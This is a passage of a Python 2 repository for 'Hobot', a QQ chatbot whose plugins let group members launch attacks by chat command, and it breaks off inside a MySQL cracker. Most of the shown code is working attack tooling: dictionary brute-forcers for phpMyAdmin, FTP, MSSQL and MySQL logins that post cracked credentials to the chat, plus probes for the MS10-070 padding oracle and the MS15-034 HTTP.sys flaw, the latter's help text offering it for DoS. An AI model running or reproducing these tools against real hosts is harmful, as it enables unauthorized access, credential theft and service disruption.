├── README.md ├── main.py ├── plugin ├── MS10-070.py ├── MS15-034.py ├── address.py ├── attribute.py ├── blacklist.py ├── check.py ├── crackadmin.py ├── crackftp.py ├── crackmssql.py ├── crackmysql.py ├── crackssh.py ├── exec.py ├── findmima.py ├── getsysteminfo.py ├── jl.py ├── level.py ├── linux.py ├── parsetv.py ├── phone.py ├── phone2qq.py ├── phpwind.py ├── ping.py ├── scan.py ├── struts.py ├── system.py └── whois.py ├── pluginTemplate.py ├── pythonwhois ├── __init__.py ├── __init__.pyc ├── airports.dat ├── countries.dat ├── countries3.dat ├── net.py ├── net.pyc ├── parse.py ├── parse.pyc ├── shared.py ├── shared.pyc ├── states_au.dat ├── states_ca.dat └── states_us.dat └── qqbot ├── __init__.py ├── __init__.pyc ├── common.py ├── common.pyc ├── mailagent.py ├── mailagent.pyc ├── messagefactory.py ├── messagefactory.pyc ├── qconf.py ├── qconf.pyc ├── qcontacts.py ├── qcontacts.pyc ├── qqbot.py ├── qqbot.pyc ├── qrcodemanager.py ├── qrcodemanager.pyc ├── qrcodeserver.py ├── qrcodeserver.pyc ├── qsession.py ├── qsession.pyc ├── qterm.py ├── qterm.pyc ├── utf8logger.py └── utf8logger.pyc /README.md: -------------------------------------------------------------------------------- 1 | # Hobot 2 | 这个名字取的和机器人差不多,叫Hack Robot 3 | 4 | 自己无聊写的机器人插件 5 | 6 | 7 | 机器人是用的 https://github.com/pandolia/qqbot 8 | 这位大神的机器人,因为略有改动,所以不是让大家装,我自己包含进来了 9 | 10 | https://github.com/joepie91/python-whois 11 | 这个是我用的whois 12 | 13 | 因为我也是才开始混gayhub,所以很多规矩不懂,但是我知道贴出来自己在那里抄的源码绝对没毛病 14 | 15 | 16 | 17 | 下面说机器人的问题 18 | 需要作以下改动才可以用 19 | 20 | -main.py 18:图灵apikey 21 | 22 | 68:掉线自动登录的QQ 23 | 24 | 92:管理员QQ 25 | 26 | 116:关键词黑名单 27 | 28 | -plugin/address.py 29 | 30 | 7:百度地图精确定位api 31 | 32 | 32:百度API商店的key 33 | 34 | 35 | 都在代码里了,,我也不知道该怎么说,,太多了, 36 | 自带了一个pluginTemplate.py,这个是插件的模板 37 | 38 | 39 | 另有几个插件因为某些原因不能开源 40 | 41 | 42 | 注意:getsysteminfo不是跨平台的命令,是我写在树莓派上的,大家可以自行改改 43 | -------------------------------------------------------------------------------- /main.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/python 2 | # -*- coding: utf-8 -*- 3 | 4 | import os 5 | import imp 6 | import json 7 | import urllib2 8 | import socket 9 | import threading 10 | import json 11 | from qqbot import QQBot 12 | import time 13 | 14 | modules=[] 15 | # 获取机器人接口的返回文本 16 | def getAI(text): 17 | aa = urllib2.urlopen( 18 | "http://www.tuling123.com/openapi/api?key="+图灵机器人apikey+"&info=" + text).read() 19 | return json.loads(aa).get('text','机器人出错了..') 20 | 21 | # 获取插件帮助信息 22 | def helpinfo(infomation): 23 | global modules 24 | result = [] 25 | for module in modules: 26 | info = "" 27 | try: 28 | info = module.help(infomation) 29 | except Exception, e: 30 | print e 31 | if info: 32 | result.append(info) 33 | return '\n'.join(result) 34 | 35 | def load_module(): 36 | global modules 37 | modules = [] 38 | for plugin in os.listdir('plugin/'): 39 | plugin = plugin.split('.') 40 | print plugin 41 | if plugin[-1] != 'py': 42 | continue 43 | try: 44 | module = imp.new_module('.'.join(plugin[:-1])) 45 | exec open('plugin/' + '.'.join(plugin)).read() in module.__dict__ 46 | modules.append(module) 47 | except Exception, e: 48 | print e 49 | 50 | 51 | def work(msg,infomation): 52 | global modules 53 | for module in modules: 54 | info = "" 55 | try: 56 | info = module.work(msg,infomation) 57 | except Exception, e: 58 | print e 59 | if info: 60 | msg.Reply(info) 61 | break 62 | 63 | 64 | load_module() 65 | if not os.path.exists('users/'): 66 | os.makedirs('users/') 67 | 68 | myqqbot = QQBot(qq=你要登陆的QQ) 69 | mapping={} 70 | 71 | 72 | @myqqbot.On('qqmessage') 73 | def handler(bot, msg): 74 | global blackList 75 | global mapping 76 | msg.content=msg.content.strip(' ') 77 | qq='' 78 | if msg.contact.ctype == 'buddy': 79 | qq=str(msg.contact.qq) 80 | else: 81 | qq=mapping.get(str(msg.memberUin), None) 82 | if not qq: 83 | mapping[str(msg.memberUin)]=myqqbot.uin2qq(msg.memberUin) 84 | qq=mapping.get(str(msg.memberUin)) 85 | print '用户QQ:',qq,'uin:',msg.memberUin 86 | infomation = {} 87 | if os.path.exists('users/' + str(qq) + ".ini"): 88 | try: 89 | infomation = json.loads(open('users/' + str(qq) + ".ini").read()) 90 | except: 91 | pass 92 | if qq == '1197795981' and msg.content.startswith('#'): 93 | infomation['level'] = 0 94 | if msg.content == "#test" and msg.contact.ctype != 'buddy': 95 | print msg.contact.uin, myqqbot.uin2qq(msg.contact.uin), msg.memberUin, myqqbot.uin2qq(msg.memberUin) 96 | for x in msg.contact.members: 97 | print x, msg.contact.members[x], myqqbot.uin2qq(x) 98 | if msg.content == "#stop": 99 | bot.Stop() 100 | if msg.content == "#reload_module": 101 | load_module() 102 | msg.Reply("模块已重新加载") 103 | return 104 | if msg.content.startswith("#help"): 105 | if not msg.content=='#help': 106 | try: 107 | infomation['level']=int(msg.content.strip().split()[1]) 108 | except: 109 | return 110 | info = '本机器人功能使用格式为:#功能 [参数1 参数2 ...] 解释\n功能列表:' 111 | msg.Reply(info) 112 | msg.Reply(helpinfo(infomation)) 113 | return 114 | 115 | if msg.content.startswith("#"): 116 | bad = ['baidu.com', 'google.com', 'gov', 'edu','jd.com','fbi.gov','127.0.0.1','tencent'] #屏蔽名单 117 | if infomation.get('level', 3) < 2: # 如果level是小于二级是没有黑名单的 118 | pass 119 | elif True in [True if x in msg.content.lower() else False for x in bad]: 120 | if qq!='': 121 | msg.content = 'token set '+qq+' 4' # 直接修改用户命令,并且下一条修改临时用户权限,做到自动修改等级为4 122 | infomation={'level':0} 123 | threading.Thread(target=work, args=(msg, infomation)).start() 124 | msg.Reply('恭喜这位用户踩雷,黑名单有请') 125 | return 126 | msg.content = msg.content[1:] 127 | threading.Thread(target=work, args=(msg,infomation)).start() 128 | return 129 | if msg.contact.ctype == 'buddy': #只有私聊回复 130 | msg.Reply(getAI(msg.content)) 131 | 132 | myqqbot.Login() 133 | myqqbot.Run() 134 | -------------------------------------------------------------------------------- /plugin/MS10-070.py: -------------------------------------------------------------------------------- 1 | # coding:utf-8 2 | import base64 3 | import urllib2 4 | import threading 5 | 6 | def check(ip, port, timeout,msg): 7 | try: 8 | url = 'http://' + ip + ":" + str(port) 9 | res_html = urllib2.urlopen(url, timeout=timeout).read() 10 | if 'WebResource.axd?d=' in res_html: 11 | error_i = 0 12 | bglen = 0 13 | for k in range(0, 255): 14 | IV = "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" + chr(k) 15 | bgstr = 'A' * 21 + '1' 16 | enstr = base64.b64encode(IV).replace('=', '').replace('/', '-').replace('+', '-') 17 | exp_url = "%s/WebResource.axd?d=%s" % (url, enstr + bgstr) 18 | try: 19 | request = urllib2.Request(exp_url) 20 | res = urllib2.urlopen(request, timeout=timeout) 21 | res_html = res.read() 22 | res_code = res.code 23 | except urllib2.HTTPError, e: 24 | res_html = e.read() 25 | res_code = e.code 26 | except urllib2.URLError, e: 27 | error_i += 1 28 | if error_i >= 3: return 29 | except: 30 | return 31 | if int(res_code) == 200 or int(res_code) == 500: 32 | if k == 0: 33 | bgcode = int(res_code) 34 | bglen = len(res_html) 35 | else: 36 | necode = int(res_code) 37 | if (bgcode != necode) or (bglen != len(res_html)): 38 | msg.Reply(ip+' MS10-070 ASP.NET Padding Oracle信息泄露漏洞') 39 | else: 40 | return 41 | except Exception, e: 42 | msg.Reply('扫描出错') 43 | 44 | 45 | def work(msg,info): 46 | msg.content = msg.content.strip() 47 | if msg.content.startswith("ms10-070"): 48 | if not info.get('level', 3) < 4: 49 | return False 50 | try: 51 | host = msg.content.split(' ',1)[-1] 52 | port = '80' 53 | if host.count(' '): 54 | port = host.split(' ')[-1] 55 | host = host.split(' ')[0] 56 | threading.Thread(target=check, args=(host, int(port), 5, msg)).start() 57 | return '已经添加扫描任务' 58 | except: 59 | return help(info) 60 | else: 61 | return False 62 | 63 | 64 | def help(info): 65 | if not info.get('level',3) < 4: 66 | return False 67 | return '#ms10-070 ip [port] MS10-070 .NET Padding Oracle信息泄露"' 68 | -------------------------------------------------------------------------------- /plugin/MS15-034.py: -------------------------------------------------------------------------------- 1 | # coding:utf-8 2 | import socket 3 | import threading 4 | 5 | def check(ip, port, timeout,msg): 6 | try: 7 | socket.setdefaulttimeout(timeout) 8 | s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) 9 | s.connect((ip, int(port))) 10 | flag = "GET / HTTP/1.0\r\nHost: stuff\r\nRange: bytes=0-18446744073709551615\r\n\r\n" 11 | s.send(flag) 12 | data = s.recv(1024) 13 | s.close() 14 | if 'Requested Range Not Satisfiable' in data: 15 | msg.Reply(ip + " 存在HTTP.sys远程代码执行漏洞") 16 | except: 17 | msg.Reply(help()) 18 | 19 | def work(msg,info): 20 | msg.content = msg.content.strip() 21 | if msg.content.startswith("ms15-034"): 22 | if not info.get('level', 3) < 4: 23 | return False 24 | try: 25 | host = msg.content.split(' ',1)[-1] 26 | port = '80' 27 | if host.count(' '): 28 | port = host.split(' ')[-1] 29 | host = host.split(' ')[0] 30 | threading.Thread(target=check, args=(host, int(port), 5, msg)).start() 31 | return '已经添加扫描任务' 32 | except: 33 | return help(info) 34 | else: 35 | return False 36 | 37 | 38 | def help(info): 39 | if not info.get('level',3) < 4: 40 | return False 41 | return '#ms15-034 ip [port] HTTP.sys 远程代码执行,目前仅能作DOS攻击' 42 | -------------------------------------------------------------------------------- /plugin/address.py: -------------------------------------------------------------------------------- 1 | # coding:utf-8 2 | import re 3 | import urllib2 4 | import json 5 | 6 | def get_ip_information(ip): 7 | url = 'http://api.map.baidu.com/highacciploc/v1?qcip=' + ip + '&qterm=pc&ak='+百度地图精确定位apikey+'&coord=bd09ll&extensions=3' 8 | poiss = '' 9 | request = urllib2.Request(url) 10 | page = urllib2.urlopen(request, timeout=10) 11 | data_json = page.read() 12 | poiss = poiss + 'IP:' + ip + "\n" 13 | data_dic = json.loads(data_json) 14 | if (data_dic.has_key("content")): 15 | # if False: 16 | content = data_dic["content"] 17 | address_component = content["address_component"] 18 | formatted_address = content["formatted_address"] 19 | poiss = poiss + "该IP地址的具体位置为:\n" 20 | poiss = poiss + address_component["country"].encode("utf-8") 21 | poiss = poiss + formatted_address.encode("utf-8") + "\n" 22 | if (content.has_key("pois")): 23 | poiss = poiss + "该IP地址附近POI信息如下:\n" 24 | pois = content["pois"] 25 | for index in range(len(pois)): 26 | poiss = poiss + pois[index]["name"].encode("utf-8") + "\n" 27 | poiss = poiss + pois[index]["address"].encode("utf-8") + "\n" 28 | else: 29 | url='http://apis.baidu.com/bdyunfenxi/intelligence/ip?ip='+ip 30 | poiss='' 31 | request = urllib2.Request(url) 32 | request.add_header('apikey','百度商店apikey') 33 | page= urllib2.urlopen(request,timeout=10).read() 34 | page=json.loads(page) 35 | print page 36 | a = page['Base_info']['country'] 37 | print page, type(a), repr(a),a.encode('utf-8') 38 | if page.get('Status',-1) != 0: 39 | return 'IP地址定位失败!!!' 40 | else: 41 | poiss='基本信息\n国家:%s\n'%page['Base_info']['country'].encode("utf-8") 42 | poiss=poiss+'省:%s\n'%page['Base_info']['province'].encode("utf-8") if page['Base_info']['province'] != None else 'None' 43 | poiss=poiss+'城市:%s\n'%page['Base_info']['city'].encode("utf-8") if page['Base_info']['city'] != None else 'None' 44 | poiss=poiss+'区县:%s\n'%page['Base_info']['county'].encode("utf-8") if page['Base_info']['county'] != None else 'None' 45 | poiss=poiss+'运营商:%s\n'%page['Base_info']['isp'].encode("utf-8") if page['Base_info']['isp'] != None else 'None' 46 | if page['Net_info']: 47 | poiss += '\n网络信息:\n是否提供NTP服务:%s\n'% ('提供' if page['Net_info'].get('is_ntp',None) else '不提供') 48 | poiss += 'NTP端口号:%s\n' % (str(page['Net_info']['ntp_port']) if page['Net_info']['ntp_port'] != -1 else "无") 49 | poiss += '是否提供DNS服务:%s\n' % ('提供' if page['Net_info'].get('is_dns',None) else '不提供') 50 | poiss += 'DNS端口号:%s\n' % (str(page['Net_info']['dns_port']) if page['Net_info']['dns_port'] != -1 else "无") 51 | poiss += '是否提供Proxy服务:%s\n' % ('提供' if page['Net_info'].get('is_proxy',None) else '不提供') 52 | poiss += 'Proxy端口号:%s\n' % (str(page['Net_info']['proxy_port']) if page['Net_info']['proxy_port'] != -1 else "无") 53 | poiss += '是否提供VPN服务:%s\n' % ('提供' if page['Net_info'].get('is_vpn',None) else '不提供') 54 | poiss += 'VPN端口号:%s' % (str(page['Net_info']['vpn_port']) if page['Net_info']['vpn_port'] != -1 else "无") 55 | return poiss 56 | def work(msg,info): 57 | msg = msg.content.strip() 58 | if msg.startswith("ip") and info.get('level',3) < 4: 59 | try: 60 | msg = msg.split(' ')[-1] 61 | return get_ip_information(msg) 62 | except: 63 | return help(info) 64 | else: 65 | return False 66 | def help(info): 67 | if info.get('level', 3) < 4: 68 | return '#ip 127.0.0.1 获取IP地址位置信息' 69 | -------------------------------------------------------------------------------- /plugin/attribute.py: -------------------------------------------------------------------------------- 1 | #coding:utf-8 2 | import urllib2 3 | import re 4 | def work(msg,info): 5 | if not msg.content.startswith('phone'): 6 | return False 7 | if not info.get('level',3) < 4: 8 | return False 9 | phone=msg.content.split(' ')[-1] 10 | if len(phone)!=11: 11 | return '手机号有误' 12 | try: 13 | request = urllib2.Request('http://www.ip138.com:8080/search.asp?mobile='+phone+'&action=mobile',headers={ 14 | 'User-Agent': 'Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/54.0.2840.71 Safari/537.36', 15 | 'Referer': 'http://www.ip138.com:8080/search.asp?mobile='+phone+'^&action=mobile'}) 16 | page=urllib2.urlopen(request,timeout=2).read().decode('gb2312').encode('utf-8') 17 | result="" 18 | for text in re.findall('[\w\W]*?',page)[1:]: 19 | text=text.replace('\n','').replace(' ','') 20 | result+='\n'+text.split('>')[1].split('<')[0].replace(' ','')+':'+text.split('>')[-2].split('<')[0].replace(' ','') 21 | if result: 22 | return '您查询的:'+phone+result 23 | else: 24 | return '没有查询到信息' 25 | except: 26 | return help(info) 27 | 28 | def help(info): 29 | if not info.get('level',3) < 4: 30 | return False 31 | return '#phone 13800138000 查询归属地' 32 | -------------------------------------------------------------------------------- /plugin/blacklist.py: -------------------------------------------------------------------------------- 1 | #coding:utf-8 2 | import json 3 | import os 4 | def work(msg,info): 5 | if not msg.content.startswith('token'): 6 | return False 7 | if not info.get('level',3) < 1: 8 | return False 9 | try: 10 | _,command,qq=msg.content.split(' ',2) 11 | if command=='get': 12 | text='' 13 | if os.path.exists('users/'+qq+'.ini'): 14 | text=open('users/'+qq+'.ini').read() 15 | 16 | text=text.strip('\n').strip('\r').strip(' ') 17 | if text=='': 18 | return 'QQ:'+qq+' 等级为:狗群员' 19 | else: 20 | tmp=json.loads(text).get('level', 3) 21 | if tmp>3: 22 | return 'QQ:' + qq + ' 等级为:黑名单' 23 | elif tmp==3: 24 | return 'QQ:' + qq + ' 等级为:狗群员' 25 | elif tmp==2: 26 | return 'QQ:' + qq + ' 等级为:高级狗群员' 27 | elif tmp==1: 28 | return 'QQ:' + qq + ' 等级为:狗管理' 29 | else: 30 | return 'QQ:' + qq + ' 等级为:超级狗管理' 31 | else: 32 | qq,level=qq.split(' ') 33 | text='' 34 | if os.path.exists('users/' + qq + '.ini'): 35 | text = open('users/' + qq + '.ini').read() 36 | text = text.strip('\n').strip('\r').strip(' ') 37 | if text=='': 38 | tlevel=3 39 | try: 40 | tlevel=int(level) 41 | except: 42 | try: 43 | tlevel={'黑名单':4,'狗群员':3,'高级狗群员':2,'狗管理':1,'超级狗管理':0}.get(level,3) 44 | except: 45 | return '小伙子搞事是吧' 46 | 47 | tmp={} 48 | tmp['level']=tlevel 49 | tmp=json.dumps(tmp) 50 | f=open('users/' + qq + '.ini','w') 51 | f.write(tmp) 52 | f.close() 53 | return '用户权限修改成功' 54 | else: 55 | tmp = json.loads(text) 56 | tlevel = 3 57 | try: 58 | tlevel = int(level) 59 | except: 60 | try: 61 | tlevel = {'黑名单': 4, '狗群员': 3, '高级狗群员': 2, '狗管理': 1, '超级狗管理': 0}.get(level, 3) 62 | except: 63 | return '小伙子搞事是吧' 64 | tmp['level'] = tlevel 65 | f = open('users/' + qq + '.ini','w') 66 | f.write(json.dumps(tmp)) 67 | f.close() 68 | return '用户权限修改成功' 69 | except Exception,e: 70 | print e 71 | return help(info) 72 | def help(info): 73 | if not info.get('level',3) < 1: 74 | return False 75 | return "#token get|set QQ level(0-4) 设置权限" 76 | 77 | # class Msg: 78 | # content='token 设置狗群员的等级 2358913531 狗管理' 79 | # 80 | # print work(Msg,{'level':0}) 81 | 82 | -------------------------------------------------------------------------------- /plugin/check.py: -------------------------------------------------------------------------------- 1 | # coding:utf-8 2 | import urllib2 3 | import re 4 | 5 | def work(msg,info): 6 | if not msg.content.startswith('check'): 7 | return False 8 | if not info.get('level',3) < 4: 9 | return False 10 | addr = msg.content.split(' ')[-1] 11 | addr = addr.strip('/').strip('http://').strip('https://') 12 | try: 13 | request = urllib2.Request('http://dns.aizhan.com/' + addr + '/', headers={ 14 | 'User-Agent': 'Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/55.0.2883.87 Safari/537.36'}) 15 | page = urllib2.urlopen(request, timeout=50).read() 16 | # print page 17 | result = "" 18 | print page 19 | for text in re.findall( 20 | '[\w\W]*?
', page): 21 | text = text.split('')[2:] 22 | print text 23 | for lines in text: 24 | print lines 25 | line = re.findall('', lines) 26 | domain = line[0].split('"')[1] 27 | name = '获取失败' 28 | if len(line) > 1: 29 | name = line[1].split('>')[1].split('<')[0] 30 | result += '\n' + domain + ' ' + name 31 | if result: 32 | temp = re.findall('当前域名[\w\W]*?个域名解析到该IP。', page)[0] 33 | address = temp.split(">")[3].split('<')[0] 34 | city = temp.split('>')[5].split('<')[0] 35 | num = temp.split('>')[7].split('<')[0] 36 | return '您查询的:' + addr + '\nIP地址:' + address + '\n所在地区:' + city + ',共有' + num + "个域名解析到该IP" + result 37 | else: 38 | return '没有查询到信息' 39 | except Exception, e: 40 | print e 41 | return help(info) 42 | 43 | 44 | def help(info): 45 | if not info.get('level',3) < 4: 46 | return False 47 | return '#check example.com 查询同IP站点' 48 | -------------------------------------------------------------------------------- /plugin/crackadmin.py: -------------------------------------------------------------------------------- 1 | # coding:utf-8 2 | import urllib2 3 | import re 4 | import threading 5 | 6 | def check(ip, port, timeout,msg): 7 | flag_list = ['src="navigation.php', 'frameborder="0" id="frame_content"', 'id="li_server_type">', 8 | 'class="disableAjax" title='] 9 | user_list = ['root', 'mysql', 'www', 'bbs', 'wwwroot', 'bak', 'backup'] 10 | error_i = 0 11 | try: 12 | res_html = urllib2.urlopen('http://' + ip + ":" + str(port), timeout=timeout).read() 13 | if 'input_password' in res_html and 'name="token"' in res_html: 14 | url = 'http://' + ip + ":" + str(port) + "/index.php" 15 | else: 16 | res_html = urllib2.urlopen('http://' + ip + ":" + str(port) + "/phpmyadmin", timeout=timeout).read() 17 | if 'input_password' in res_html and 'name="token"' in res_html: 18 | url = 'http://' + ip + ":" + str(port) + "/phpmyadmin/index.php" 19 | else: 20 | return 21 | except: 22 | pass 23 | PASSWORD_DIC = ['alpine', 24 | 'ohshit', 25 | '%null%', 26 | '000000', 27 | '111111', 28 | '11111111', 29 | '112233', 30 | '123123', 31 | '123321', 32 | '12345', 33 | '123456', 34 | '1234567', 35 | '12345678', 36 | '654321', 37 | '666666', 38 | '888888', 39 | 'abcdef', 40 | 'abcabc', 41 | 'abc123', 42 | 'a1b2c3', 43 | 'aaa111', 44 | '123qwe', 45 | 'qwerty', 46 | 'qweasd', 47 | 'admin', 48 | 'password', 49 | 'p@ssword', 50 | 'passwd', 51 | 'iloveyou', 52 | '5201314', 53 | 'dragon'] 54 | for user in user_list: 55 | for password in PASSWORD_DIC: 56 | try: 57 | opener = urllib2.build_opener(urllib2.HTTPCookieProcessor()) 58 | res_html = opener.open(url, timeout=timeout).read() 59 | token = re.search('name="token" value="(.*?)" />', res_html) 60 | token_hash = urllib2.quote(token.group(1)) 61 | postdata = "pma_username=%s&pma_password=%s&server=1&target=index.php&lang=zh_CN&collation_connection=utf8_general_ci&token=%s" % ( 62 | user, password, token_hash) 63 | res = opener.open(url,postdata, timeout=timeout) 64 | res_html = res.read() 65 | for flag in flag_list: 66 | if flag in res_html: 67 | msg.Reply('%s phpmyadmin弱口令,账号:%s 密码:%s' % (ip,user, password)) 68 | except urllib2.URLError, e: 69 | error_i += 1 70 | if error_i >= 3: 71 | msg.Reply('扫描异常结束') 72 | return 73 | except Exception,e: 74 | msg.Reply('扫描异常结束') 75 | return 76 | msg.Reply(ip + ' 扫描结束') 77 | 78 | def work(msg,info): 79 | msg.content = msg.content.strip() 80 | if msg.content.startswith("crackadmin"): 81 | if not info.get('level', 3) < 3: 82 | return False 83 | try: 84 | host = msg.content.split(' ', 1)[-1] 85 | port = '80' 86 | if host.count(' '): 87 | port = host.split(' ')[-1] 88 | host = host.split(' ')[0] 89 | threading.Thread(target=check, args=(host, int(port), 5, msg)).start() 90 | return '已经添加扫描任务' 91 | except: 92 | return help(info) 93 | else: 94 | return False 95 | 96 | 97 | def help(info): 98 | if not info.get('level',3) < 3: 99 | return False 100 | return '#crackadmin a.com [port] 用于爆破phpmyadmin' 101 | -------------------------------------------------------------------------------- /plugin/crackftp.py: -------------------------------------------------------------------------------- 1 | # coding:utf-8 2 | import ftplib 3 | import threading 4 | 5 | 6 | def check(ip, port, timeout, msg): 7 | user_list = ['ftp', 'www', 'admin', 'root', 'db', 'wwwroot', 'data', 'web','123'] 8 | PASSWORD_DIC = ['alpine', 9 | '123', 10 | 'ohshit', 11 | '000000', 12 | '111111', 13 | '11111111', 14 | '112233', 15 | '123123', 16 | '123321', 17 | '12345', 18 | '123456', 19 | '1234567', 20 | '12345678', 21 | '654321', 22 | '666666', 23 | '888888', 24 | 'abcdef', 25 | 'abcabc', 26 | 'abc123', 27 | 'a1b2c3', 28 | 'aaa111', 29 | '123qwe', 30 | 'qwerty', 31 | 'qweasd', 32 | 'admin', 33 | 'password', 34 | 'p@ssword', 35 | 'passwd', 36 | 'iloveyou', 37 | '5201314', 38 | 'dragon'] 39 | for user in user_list: 40 | for pass_ in PASSWORD_DIC: 41 | pass_ = str(pass_.replace('{user}', user)) 42 | try: 43 | ftp = ftplib.FTP() 44 | ftp.timeout = timeout 45 | ftp.connect(ip, port) 46 | ftp.login(user, pass_) 47 | ftp.close() 48 | if pass_ == '': pass_ = "null" 49 | if user == 'ftp' and pass_ == 'ftp': 50 | msg.Reply(ip + ' 可以匿名登录') 51 | break 52 | msg.Reply("%s 存在弱口令,账号:%s,密码:%s" % (ip, user, pass_)) 53 | except Exception, e: 54 | if "Errno 10061" in str(e) or "timed out" in str(e): 55 | msg.Reply('扫描异常退出') 56 | return 57 | msg.Reply(ip + " 扫描结束") 58 | 59 | 60 | def work(msg,info): 61 | msg.content = msg.content.strip() 62 | if msg.content.startswith("crackftp"): 63 | if not info.get('level', 3) < 3: 64 | return False 65 | try: 66 | host = msg.content.split(' ',1)[-1] 67 | port = '21' 68 | if host.count(' '): 69 | port = host.split(' ')[-1] 70 | host = host.split(' ')[0] 71 | threading.Thread(target=check, args=(host, int(port), 5, msg)).start() 72 | return '已经添加扫描任务' 73 | except: 74 | return help(info) 75 | else: 76 | return False 77 | 78 | 79 | def help(info): 80 | if not info.get('level',3) < 3: 81 | return False 82 | return '#crackftp ip [port] 用于爆破ftp' 83 | -------------------------------------------------------------------------------- /plugin/crackmssql.py: -------------------------------------------------------------------------------- 1 | # coding:utf-8 2 | import socket 3 | import binascii 4 | import threading 5 | 6 | 7 | def auth(host, port, username, password, timeout): 8 | try: 9 | socket.setdefaulttimeout(timeout) 10 | sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM) 11 | sock.connect((host, port)) 12 | hh = binascii.b2a_hex(host) 13 | husername = binascii.b2a_hex(username) 14 | lusername = len(username) 15 | lpassword = len(password) 16 | ladd = len(host) + len(str(port)) + 1 17 | hladd = hex(ladd).replace('0x', '') 18 | hpwd = binascii.b2a_hex(password) 19 | pp = binascii.b2a_hex(str(port)) 20 | address = hh + '3a' + pp 21 | hhost = binascii.b2a_hex(host) 22 | data = "0200020000000000123456789000000000000000000000000000000000000000000000000000ZZ5440000000000000000000000000000000000000000000000000000000000X3360000000000000000000000000000000000000000000000000000000000Y373933340000000000000000000000000000000000000000000000000000040301060a09010000000002000000000070796d7373716c000000000000000000000000000000000000000000000007123456789000000000000000000000000000000000000000000000000000ZZ3360000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000Y0402000044422d4c6962726172790a00000000000d1175735f656e676c69736800000000000000000000000000000201004c000000000000000000000a000000000000000000000000000069736f5f31000000000000000000000000000000000000000000000000000501353132000000030000000000000000" 23 | data1 = data.replace(data[16:16 + len(address)], address) 24 | data2 = data1.replace(data1[78:78 + len(husername)], husername) 25 | data3 = data2.replace(data2[140:140 + len(hpwd)], hpwd) 26 | if lusername >= 16: 27 | data4 = data3.replace('0X', str(hex(lusername)).replace('0x', '')) 28 | else: 29 | data4 = data3.replace('X', str(hex(lusername)).replace('0x', '')) 30 | if lpassword >= 16: 31 | data5 = data4.replace('0Y', str(hex(lpassword)).replace('0x', '')) 32 | else: 33 | data5 = data4.replace('Y', str(hex(lpassword)).replace('0x', '')) 34 | hladd = hex(ladd).replace('0x', '') 35 | data6 = data5.replace('ZZ', str(hladd)) 36 | data7 = binascii.a2b_hex(data6) 37 | sock.send(data7) 38 | packet = sock.recv(1024) 39 | if 'master' in packet: 40 | return True 41 | except Exception, e: 42 | pass 43 | 44 | 45 | def check(ip, port, timeout, msg): 46 | user_list = ['sa:sa', 47 | 'sa:password', 48 | 'admin:admin', 49 | 'admin:administrator', 50 | 'sql:sql', 51 | 'sa:sql', 52 | 'sa'] 53 | PASSWORD_DIC = ['alpine', 54 | 'ohshit', 55 | '000000', 56 | '1111', 57 | '0000', 58 | '111111', 59 | '11111111', 60 | '112233', 61 | '123123', 62 | '123321', 63 | '12345', 64 | '123456', 65 | '1234567', 66 | '12345678', 67 | '654321', 68 | '666666', 69 | '888888', 70 | 'abcdef', 71 | 'abcabc', 72 | 'abc123', 73 | 'a1b2c3', 74 | 'aaa111', 75 | '123qwe', 76 | 'qwerty', 77 | 'qweasd', 78 | 'admin', 79 | 'password', 80 | 'p@ssword', 81 | 'passwd', 82 | 'iloveyou', 83 | '5201314', 84 | 'dragon'] 85 | for user in user_list: 86 | for pass_ in PASSWORD_DIC: 87 | try: 88 | pass_ = str(pass_.replace('{user}', user)) 89 | result = auth(ip, port, user, pass_, timeout) 90 | if result == True: 91 | msg.Reply("%s 存在弱口令,账号:%s,密码:%s" % (ip, user, pass_)) 92 | except Exception, e: 93 | if "Errno 10061" in str(e) or "timed out" in str(e): 94 | msg.Reply('扫描异常结束') 95 | return 96 | msg.Reply(ip + ' 扫描结束') 97 | 98 | 99 | def work(msg,info): 100 | msg.content = msg.content.strip() 101 | if msg.content.startswith("crackmssql"): 102 | if not info.get('level', 3) < 3: 103 | return False 104 | try: 105 | host = msg.content.split(' ', 1)[-1] 106 | port = '1433' 107 | if host.count(' '): 108 | port = host.split(' ')[-1] 109 | host = host.split(' ')[0] 110 | threading.Thread(target=check, args=(host, int(port), 5, msg)).start() 111 | return '已经添加扫描任务' 112 | except: 113 | return help(info) 114 | else: 115 | return False 116 | 117 | 118 | def help(info): 119 | if not info.get('level',3) < 3: 120 | return False 121 | return '#crackmssql ip [port] 用于爆破mssql' 122 | -------------------------------------------------------------------------------- /plugin/crackmysql.py: -------------------------------------------------------------------------------- 1 | # coding:utf-8 2 | import re 3 | import hashlib 4 | import struct 5 | import binascii 6 | import socket 7 | import threading 8 | 9 | 10 | def get_hash(password, scramble): 11 | hash_stage1 = hashlib.sha1(password).digest() 12 | hash_stage2 = hashlib.sha1(hash_stage1).digest() 13 | to = hashlib.sha1(scramble + hash_stage2).digest() 14 | reply = [ord(h1) ^ ord(h3) for (h1, h3) in zip(hash_stage1, to)] 15 | hash = struct.pack('20B', *reply) 16 | return hash 17 | 18 | 19 | def get_scramble(packet): 20 | tmp = packet[15:] 21 | m = re.findall("\x00?([\x01-\x7F]{7,})\x00", tmp) 22 | if len(m) > 3: del m[0] 23 | scramble = m[0] + m[1] 24 | try: 25 | plugin = m[2] 26 | except: 27 | plugin = '' 28 | return plugin, scramble 29 | 30 | 31 | def get_auth_data(user, password, scramble, plugin): 32 | user_hex = binascii.b2a_hex(user) 33 | pass_hex = binascii.b2a_hex(get_hash(password, scramble)) 34 | if not password: 35 | data = "85a23f0000000040080000000000000000000000000000000000000000000000" + user_hex + "0000" 36 | else: 37 | data = "85a23f0000000040080000000000000000000000000000000000000000000000" + user_hex + "0014" + pass_hex 38 | if plugin: data += binascii.b2a_hex( 39 | plugin) + "0055035f6f73076f737831302e380c5f636c69656e745f6e616d65086c69626d7973716c045f7069640539323330360f5f636c69656e745f76657273696f6e06352e362e3231095f706c6174666f726d067838365f3634" 40 